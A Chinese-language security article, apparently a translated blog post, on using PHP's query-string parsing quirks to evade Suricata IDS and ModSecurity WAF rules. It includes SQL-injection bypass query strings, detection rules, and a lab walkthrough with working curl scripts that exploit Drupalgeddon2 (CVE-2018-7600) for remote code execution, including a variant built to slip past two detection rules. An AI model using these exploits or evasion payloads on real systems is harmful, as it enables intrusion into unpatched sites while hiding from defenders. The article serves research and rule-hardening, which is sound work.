如何滥用PHP字符串解析函数绕过IDS、IPS及WAF

 

0x00 前言

在本文中,我们将与大家分享如何利用PHP字符串解析函数绕过IDS/IPS以及应用防火墙规则。

大家都知道,PHP会将(在URL或body中的)查询字符串转换成$_GET或者$_POST中的关联数组。比如:/?foo=bar会被转换成Array([foo] => “bar”)。查询字符串解析过程会删除或者使用下划线替换参数名中的某些字符。比如,/?%20news[id%00=42会被转换成Array([news_id] => 42)。如果IDS/IPS或者WAF所使用的规则会阻止或者记录下news_id参数中的非数字值,那么就可以滥用这种解析过程来绕过这一限制,比如:

/news.php?%20news[id%00=42″+AND+1=0–

在PHP中,如果使用如上查询语句,那么%20news[id%00参数的值会被存放到$_GET[“news_id”]中。

 

0x01 原理解析

PHP需要将所有参数转成有效的变量名,因此在解析查询字符串时,PHP主要会执行两个操作:

  • 删除开头的空格符
  • 将某些字符转换成下划线字符(包括空格符)

比如:

输入 解码 PHP变量名
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

比如我们可以使用如下代码,探测哪些字符会被parser_str函数删除或者转换为下划线:

图. PHP parser_str函数

<?php

    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {

            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                
                /* yes... I've added a sleep time on each loop just for 
                the scenic effect :) like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
                */
                usleep(5000);
                
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }

            echo "\033[999D\033[K\r";
            echo "\n";
    }

图. parse_str.php运行结果动图

parse_str在GET、POST以及cookie上都有应用。如果web服务器可以接受头部字段中带有点或者空格的字段名,那么也会出现这种情况。我分3次执行了如上循环,枚举了参数名两端从0到255的所有字符(除下划线外),结果如下:

  • [1st]foo_bar
  • foo[2nd]bar
  • foo_bar[3rd]

在这种设计场景中,foo%20bar以及foo+bar在逻辑上是等价的,都会被解析为foo_bar。

 

0x02 Suricata

Suricata是一款“开源、成熟、快速以及强大的网络威胁检测引擎”,该引擎能够用于IDS(入侵检测)、IPS(入侵防御)、NSM(网络安全监控)以及离线pcap数据处理。

在Suricata中,我们还可以制定规则来检测HTTP流量。比如,假设我们部署了如下规则:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

该规则会检测news_id是否包含非数字值。在PHP中,我们可以滥用字符串解析函数来轻松绕过这个规则,比如我们可以使用如下查询字符串:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

在Google以及GitHub上搜索后,我发现我们可以通过替换下划线的方式,在被检查的参数名中添加null字节或者空格符来绕过针对PHP的Suricata规则。以Github上的某个实际规则为例:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

前面提到过,我们可以通过如下方式绕过这个规则:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

另外说句实话,这个规则其实只要稍微改一下参数位置就能被绕过:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

 

0x03 WAF(ModSecurity)

我们也可以滥用PHP查询字符串解析函数来绕过WAF规则。例如,如果我们使用类似SecRule !ARGS:news_id “@rx ^[0-9]+$” “block”的ModSecurity规则,那么显然这种绕过技术也适用于该场景。幸运的是,在ModSecurity中,我们可以通过正则表达式来指定查询字符串参数,比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

那么该规则会阻止如下所有请求:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

 

0x04 PoC

我们来创建适用于Suricata以及Drupal CMS的PoC,以便利用CVE-2018-7600漏洞(Drupalgeddon2远程代码执行漏洞)。简单起见,我在两个docker容器上运行Suricata以及Drupal,然后尝试从Suricata容器攻击Drupal。

我会在Suricata上激活如下两条规则:

我按照官方的安装指南来安装Suricata,然后使用vulhub容器来运行Drupal环境:

首先来试一下利用CVE-2018-7600漏洞。这里我设计了能够执行curl的一小段bash脚本,如下所示:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL" 

该脚本会执行id命令。来试一下:

图. 成功利用Drupal CVE-2018-7600漏洞

现在让我们在Suricata中引入两条规则。第一条规则会尝试匹配请求body中的form_id=user_register_form。而Positive Technology开发的第二条规则会匹配查询URL中的/user/register以及请求body中的#post_render。

我编写的规则如下:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

PT规则如下:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

重启Suricata后,我们可以来试一下如上两条规则能否成功拦住我的漏洞利用请求:

图. 拦住漏洞利用请求

非常棒,我们得到了两条Suricata日志:

ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

但这两条规则其实很容易绕过。前面我们已经知道如何滥用PHP查询字符串解析函数来绕过我的规则。我们可以将form_id=user_register_form请求替换为form%5bid=user_register_form:

如上图所示,此时只有PT规则会捕获到攻击请求。分析PT规则的正则表达式后,可以看到该规则会匹配#以及对应的编码(%23)。但该规则并没有匹配下划线字符所对应的编码,因此我们可以使用post%5frender来绕过这一规则:

这样我们就可以通过如下漏洞利用payload成功绕过这两条规则:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
(完)